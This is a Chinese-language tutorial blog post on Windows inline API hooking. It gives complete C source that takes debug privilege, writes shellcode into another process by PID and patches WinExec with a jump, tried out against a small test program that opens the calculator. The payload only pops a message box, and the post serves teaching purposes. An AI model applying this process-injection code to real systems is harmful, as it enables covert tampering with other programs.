Inline Hook
Posted enjoy5512
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Inline Hook相关的知识,希望对你有一定的参考价值。
内存攻击中,最简单的就是IAT Hook.但是在高版本的Windows系统里,IAT表是不允许修改的,所以,IAT Hook的方法便不奏效了.于是便出现了Inline Hook技术.这里,结合前面对PE文件的了解,从我写的内存注入代码中剪切出了Inline Hook的部分进行讲解,因为是部分代码,所以在测试的时候,只Hook了WinEx这个函数,而且函数地址都是直接在代码中写进去的,并没有动态获取,具体的动态获取方法,可以看我接下来的博客<<内存注入之IAT Hook和Inline Hook>>,相关源码和测试程序都已经上传了,资源地址 http://download.csdn.net/detail/enjoy5512/9539443
注:转载请注明来源 enjoy5512的博客 http://blog.csdn.net/enjoy5512
Inline Hook原理
在windows系统下编程,应该会接触到api函数的使用,常用的api函数大概有2000个左右。今天随着控件,stl等高效编程技术的出现,api的使用概率在普通的用户程序上就变得越来越小了。当诸如控件这些现成的手段不能实现的功能时,我们还需要借助api。最初有些人对某些api函数的功能不太满意,就产生了如何修改这些api,使之更好的服务于程序的想法,这样api hook就自然而然的出现了。我们可以通过api hook,改变一个系统api的原有功能。基本的方法就是通过hook“接触”到需要修改的api函数入口点,改变它的地址指向新的自定义的函数。api hook并不属于msdn上介绍的13类hook中的任何一种。所以说,api hook并不是什么特别不同的hook,它也需要通过基本的hook提高自己的权限,跨越不同进程间访问的限制,达到修改api函数地址的目的。对于自身进程空间下使用到的api函数地址的修改,是不需要用到api hook技术就可以实现的。
常见的API Hook包括2种, 一种是基于PE文件的导入表(IAT), 还有一种是修改前5个字节直接JMP的inline Hook.
对于基于IAT的方式, 原理是PE文件里有个导入表, 代表该模块调用了哪些外部API,模块被加载到内存后, PE加载器会修改该表,地址改成外部API重定位后的真实地址, 我们只要直接把里面的地址改成我们新函数的地址, 就可以完成对相应API的Hook。
对于基于Jmp方式的inline hook, 原理是修改目标函数的前5个字节, 直接Jmp到我们的新函数。
Inline Hook基本思路
Inline Hook的实现与IAT Hook差不多,所以代码只需要改一点点就好了
1) 编写shellcode,shellcode用于Hook相应函数后,需要执行的代码,还用于执行完我们的代码后jmp到原函数里
2) 获取调试权限
3) 根据进程PID获取远程进程句柄
4) 申请空间写入我们shellcode会用到的数据
5) 动态修改shellcode中需要重定位的数据
6) 写入shellcode
7) 将需要hook的函数前五个字节修改成jmp shellcode
8) 将shellcode后五个字节修改成 jmp 原函数第六个字节处
代码实现
/////////////////////////////////////////////////////////////////////////////
// 文件名 : test.c
// 工程 : test
// 作者 : enjoy5512 修改者 : enjoy5512 最后优化注释者 : enjoy5512
// 个人技术博客 : blog.csdn.net/enjoy5512
// 个人GitHub : github.com/whu-enjoy
// csdn code : code.csdn.net/enjoy5512
// 描述 : 对测试进程的WinExec函数进行Inline Hook
// 编译环境 : Windows XP SP3 + vc6.0
// 主要函数 :
// 版本 : 最终确定版 完成日期 : 2016年6月2日 21:13:05
// 修改 :
/////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
//函数说明开始
//==================================================================================
// 功能 : 获取进程的调试权限
// 参数 : const char *name
// (入口) name : 指向权限名称,我们这里用到SE_DEBUG_NAME
// #define SE_BACKUP_NAME TEXT("SeBackupPrivilege")
// #define SE_RESTORE_NAME TEXT("SeRestorePrivilege")
// #define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege")
// #define SE_DEBUG_NAME TEXT("SeDebugPrivilege")
// 返回 : -1表示获取权限失败, 0表示获取权限成功
// 主要思路 : 先打开进程令牌环,然后获得本地进程name所代表的权限类型的局部唯一ID
// 最后调整进程权限
// 调用举例 : EnableDebugPriv(SE_DEBUG_NAME)
// 日期 : 2016年6月1日 19:08:22(注释日期)
//==================================================================================
//函数说明结束
int EnableDebugPriv(const char *name)
{
HANDLE hToken; //进程令牌句柄
TOKEN_PRIVILEGES tp; //TOKEN_PRIVILEGES结构体,其中包含一个【类型+操作】的权限数组
LUID luid; //上述结构体中的类型值
//打开进程令牌环
//GetCurrentProcess()获取当前进程的伪句柄,只会指向当前进程或者线程句柄,随时变化
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
{
fprintf(stderr,"OpenProcessToken error\\n");
return -1;
}
//获得本地进程name所代表的权限类型的局部唯一ID
if (!LookupPrivilegeValue(NULL, name, &luid))
{
fprintf(stderr,"LookupPrivilegeValue error\\n");
}
tp.PrivilegeCount = 1; //权限数组中只有一个“元素”
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //权限操作
tp.Privileges[0].Luid = luid; //权限类型
//调整进程权限
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
fprintf(stderr,"AdjustTokenPrivileges error!\\n");
return -1;
}
return 0;
}
int main()
{
char addr[5] = {0}; //用于保存4字节的地址
char buff[6] = {0}; //用于保存jmp xxx指令和所要hook的函数起始五个字节
HANDLE hProcess; //进程句柄
DWORD dwHasWrite; //实际写入的字节数
LPVOID lpRemoteBuf; //申请的内存首地址
int temp = 0; //临时变量
int pid = 0;
//数据
char data[] = "\\x74\\x65\\x73\\x74\\x00\\xCC\\xCC\\xCC"
"\\xD7\\xE9\\xB3\\xA4\\x20\\x3A\\x20\\xBA"
"\\xCE\\xC4\\xDC\\xB1\\xF3\\x20\\x32\\x30"
"\\x31\\x33\\x33\\x30\\x32\\x35\\x33\\x30"
"\\x30\\x32\\x30\\x0A\\xD7\\xE9\\xD4\\xB1"
"\\x20\\x3A\\x20\\xCD\\xF5\\x20\\x20\\xEC"
"\\xB3\\x20\\x32\\x30\\x31\\x33\\x33\\x30"
"\\x32\\x35\\x33\\x30\\x30\\x30\\x35\\x0A"
"\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\xB5"
"\\xCB\\xB9\\xE3\\xF6\\xCE\\x20\\x32\\x30"
"\\x31\\x33\\x33\\x30\\x32\\x35\\x33\\x30"
"\\x30\\x31\\x34\\x0A\\x20\\x20\\x20\\x20"
"\\x20\\x20\\x20\\xB9\\xA8\\xD3\\xF1\\xB7"
"\\xEF\\x20\\x32\\x30\\x31\\x33\\x33\\x30"
"\\x32\\x35\\x33\\x30\\x30\\x32\\x31\\x00";
//shellcode
//pushfd
//push eax
//push ecx
//push edx
//push ebx
//push ebp
//push esi
//push edi
//push 0
//push offset ptr "test"
//push offset ptr "内容"
//push 0
//mov eax,user32.MessageBox
//call eax
//pop edi
//pop esi
//pop ebp
//pop ebx
//pop edx
//pop ecx
//pop eax
//popfd
//mov edi,edi
//push ebp
//mov ebp,esp
//jmp kernel32.7c86258A WinExec的第六个字节
char shellcode[] =
"\\x9C\\x50\\x51\\x52\\x53\\x55\\x56\\x57"
"\\x6A\\x00\\x68\\x00\\x10\\x40\\x00\\x68"
"\\x00\\x10\\x40\\x00\\x6A\\x00\\xB8\\xEA"
"\\x07\\xD5\\x77\\xFF\\xD0\\x5F\\x5E\\x5D"
"\\x5B\\x5A\\x59\\x58\\x9D\\x8b\\xff\\x55\\x8b\\xec" //shellco中有所要hooking的函数前五个字节了
"\\xe9\\x90\\x90\\x90\\x90"; //所以后面jmp 回到的是函数的第六个字节
//获取调试权限
if (EnableDebugPriv(SE_DEBUG_NAME))
{
fprintf(stderr,"Add Privilege error\\n");
return -1;
}
printf("请输入需要Hook的进程PID :");
scanf("%d", &pid); //输入需要hook的函数的程序PID
//获取进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hProcess == NULL)
{
fprintf(stderr,"\\n获取进程句柄错误%d",GetLastError());
return -1;
}
//读取所要hook的函数前五个字节,0x7c862585是WinExec的实现地址
if(ReadProcessMemory(hProcess, 0x7c862585, buff, 5, &dwHasWrite))
{
if(dwHasWrite != 5)
{
CloseHandle(hProcess);
return -1;
}
}else
{
printf("\\n读取远程进程内存空间出错%d。",GetLastError());
CloseHandle(hProcess);
return -1;
}
//如果函数前五个字节不是 mov edi,edi push ebp mov ebp,esp则退出inline hooking
if (0 != strcmp(buff,"\\x8b\\xff\\x55\\x8b\\xec"))
{
return -1;
}
//申请120字节的数据空间
lpRemoteBuf = VirtualAllocEx(hProcess, NULL, 120, MEM_COMMIT, PAGE_READWRITE);
if(WriteProcessMemory(hProcess, lpRemoteBuf, data, 120, &dwHasWrite))
{
if(dwHasWrite != 120)
{
VirtualFreeEx(hProcess,lpRemoteBuf,120,MEM_COMMIT);
CloseHandle(hProcess);
return -1;
}
}else
{
printf("\\n写入远程进程内存空间出错%d。",GetLastError());
CloseHandle(hProcess);
return -1;
}
temp = (int)lpRemoteBuf; //获取数据在内存中的首地址
addr[0] = temp&0xff;
addr[1] = temp>>8&0xff;
addr[2] = temp>>16&0xff;
addr[3] = temp>>24&0xff;
shellcode[11] = addr[0]; //"test"的首地址
shellcode[12] = addr[1];
shellcode[13] = addr[2];
shellcode[14] = addr[3];
shellcode[16] = addr[0]+8; //所要显示的字符串首地址
shellcode[17] = addr[1];
shellcode[18] = addr[2];
shellcode[19] = addr[3];
temp = MessageBoxA; //MessageBoxA的地址
addr[0] = temp&0xff;
addr[1] = temp>>8&0xff;
addr[2] = temp>>16&0xff;
addr[3] = temp>>24&0xff;
shellcode[23] = addr[0];
shellcode[24] = addr[1];
shellcode[25] = addr[2];
shellcode[26] = addr[3];
//先写入42字节的shellcode
lpRemoteBuf = VirtualAllocEx(hProcess, NULL, 42, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(WriteProcessMemory(hProcess, lpRemoteBuf, shellcode, 42, &dwHasWrite))
{
if(dwHasWrite != 42)
{
VirtualFreeEx(hProcess,lpRemoteBuf,42,MEM_COMMIT);
CloseHandle(hProcess);
return -1;
}
}else
{
printf("\\n写入远程进程内存空间出错%d。",GetLastError());
CloseHandle(hProcess);
return -1;
}
temp = (int)lpRemoteBuf; //获得shellcode的首地址
temp = temp - 0x7c862585-5; //计算jmp到shellcode的偏移
buff[0] = 0xe9;
buff[1] = temp&0xff;
buff[2] = temp>>8&0xff;
buff[3] = temp>>16&0xff;
buff[4] = temp>>24&0xff; //得到jmp xxx的二进制数据并写入函数的起始五个字节
if(!WriteProcessMemory(hProcess, 0x7c862585, buff, 5, &dwHasWrite))
{
printf("\\n写入远程进程内存空间出错%d。",GetLastError());
}
temp = (int)lpRemoteBuf; //获取shellcode的地址
temp = temp+47; //得到shellcode中jmp xx的下条指令的地址
temp = 0x7c862585 - temp+5; //得到jmp回原来函数第六个字节的起始地址
buff[0] = 0xe9;
buff[1] = temp&0xff;
buff[2] = temp>>8&0xff;
buff[3] = temp>>16&0xff;
buff[4] = temp>>24&0xff;
temp = (int)lpRemoteBuf+42; //得到jmp xxx在shellcode中的地址,并写入shellcode最后五个字节
if(WriteProcessMemory(hProcess,temp , buff, 5, &dwHasWrite))
{
printf("Inline Hooking 成功!!\\n");
return 0;
}
else
{
printf("\\n写入远程进程内存空间出错%d。",GetLastError());
}
CloseHandle(hProcess);
return -1;
}
测试程序源码
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main(void)
{
unsigned short flag = 0;
MessageBox(NULL,"导入MessageBox成功!!\\n本程序会循环调用计算器","说明",NULL);
do
{
WinExec("calc",SW_SHOW);
printf("请输入一个数字(输入0或者数字之外的字符程序将退出) : ");
scanf("%x",&flag);
}while(0 != flag);
system("pause");
return 0;
}
程序运行结果截图
测试程序会循环接收输入,每输入一次数字就调用一次计算机
运行攻击程序,输入测试程序的PID,提示成功时说明InlineHook成功
继续运行测试程序,可以看到程序先执行我们的shellcode,然后正常执行原本调用的函数
可以用ollydbg看一下Hook之后的测试程序,函数调用的地方没有异常
跟踪进去,在WinExec的前五个字节被修改成一个jmp
跟踪这个jmp可以看到进到了我们的shellcode,在shellcode最后会jmp到WinExec的第六个字节处
以上是关于Inline Hook的主要内容,如果未能解决你的问题,请参考以下文章